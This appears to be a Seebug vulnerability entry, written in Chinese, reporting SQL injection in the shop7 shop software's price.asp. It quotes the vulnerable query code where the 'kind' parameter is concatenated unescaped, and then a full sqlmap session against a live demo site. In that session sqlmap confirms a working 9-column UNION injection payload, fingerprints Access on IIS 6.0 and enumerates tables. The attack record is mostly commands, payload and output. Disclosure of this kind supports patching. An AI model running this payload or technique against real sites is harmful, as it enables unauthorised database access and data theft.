shop7 价格处注入

ID SSV:95978
Type seebug
Reporter Root
Modified 2014-09-16T00:00:00



price.asp 文件注入


price.asp文件 96行

if kind<>"" then sql="select pkid,model,productname,smallpicpath,price1,price"&session("customkind")&",kindname,pipai,addtime from view_product where kind like '"&kind&"%' and updown='1' order by pkid desc" else sql="select pkid,model,productname,smallpicpath,price1,price"&session("customkind")&",kindname,pipai,addtime from view_product where updown='1' order by pkid desc" end if

demo 测试地址


<img src="" alt="prices.jpg" width="600" onerror="javascript:errimg(this);">

F:\迅雷下载\sqlmap>python -u " d=1" --tables _ | |_ ___ {1.0-dev-nongit-20140911} | -| . | | | .'| . | || |||||,| | || |_| [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [] starting at 18:36:16 [18:36:23] [INFO] testing connection to the target URL [18:36:24] [INFO] testing if the target URL is stable. This can take a couple of seconds [18:36:25] [INFO] target URL is stable [18:36:25] [INFO] testing if GET parameter 'kind' is dynamic [18:36:25] [WARNING] GET parameter 'kind' does not appear dynamic [18:36:26] [INFO] heuristic (basic) test shows that GET parameter 'kind' might b e injectable (possible DBMS: 'Microsoft Access') [18:36:26] [INFO] testing for SQL injection on GET parameter 'kind' heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft Acces s'. Do you want to skip test payloads specific for other DBMSes? [Y/n] do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1) values? [Y/n] [18:36:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:36:56] [WARNING] reflective value(s) found and filtering out [18:36:58] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl ace (original value)' [18:37:00] [INFO] testing 'Microsoft Access boolean-based blind - GROUP BY and O RDER BY clauses' [18:37:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:37:16] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t he range for current UNION query injection technique test [18:37:17] [INFO] target URL appears to have 9 columns in query [18:37:18] [INFO] GET parameter 'kind' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable [18:37:39] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go ing to retry the request GET parameter 'kind' is vulnerable. Do you want to keep testing the others (if a ny)? [y/N] sqlmap identified the following injection points with a total of 79 HTTP(s) requ ests: --- Place: GET Parameter: kind Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: kind=1' UNION ALL SELECT NULL,NULL,CHR(113)&CHR(108)&CHR(122)&CHR(1 02)&CHR(113)&CHR(86)&CHR(100)&CHR(117)&CHR(121)&CHR(67)&CHR(74)&CHR(81)&CHR(90)& CHR(120)&CHR(70)&CHR(113)&CHR(99)&CHR(111)&CHR(101)&CHR(113),NULL,NULL,NULL,NULL ,NULL,NULL FROM MSysAccessObjects%16 --- [18:38:08] [INFO] testing Microsoft Access [18:38:08] [INFO] confirming Microsoft Access [18:38:09] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft Access [18:38:09] [INFO] fetching tables for database: 'Microsoft_Access_masterdb' [18:38:10] [WARNING] something went wrong with full UNION technique (could be be cause of limitation on retrieved number of entries). Falling back to partial UNI ON technique [18:38:10] [WARNING] the SQL query provided does not return any output [18:38:10] [WARNING] in case of continuous data retrieval problems you are advis ed to try a switch '--no-cast' [18:38:10] [ERROR] cannot retrieve table names, back-end DBMS is Access do you want to use common table existence check? [Y/n/q] [18:38:28] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt ( All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. [18:38:28] [INFO] checking table existence using items from 'F:\????\sqlmap\txt\ common-tables.txt' [18:38:28] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 10 [18:39:22] [INFO] starting 10 threads [18:39:42] [INFO] retrieved: article [18:39:53] [INFO] tried 487/3148 items (15%) [18:39:53] [INFO] heuristics detected web page charset 'GB2312' [18:40:42] [INFO] tried 1267/3148 items (40%) [18:40:42] [INFO] waiting for threads to finish (Ctrl+C was pressed) [18:40:43] [WARNING] user aborted during table existence check. sqlmap will disp lay partial output Database: Microsoft_Access_masterdb [1 table] +---------+ | article | +---------+ [18:40:43] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1283 times [18:40:43] [INFO] fetched data logged to text files under 'C:\Users\c.sqlmap\ou tput\' [] shutting down at 18:40:43 F:\迅雷下载\sqlmap>^X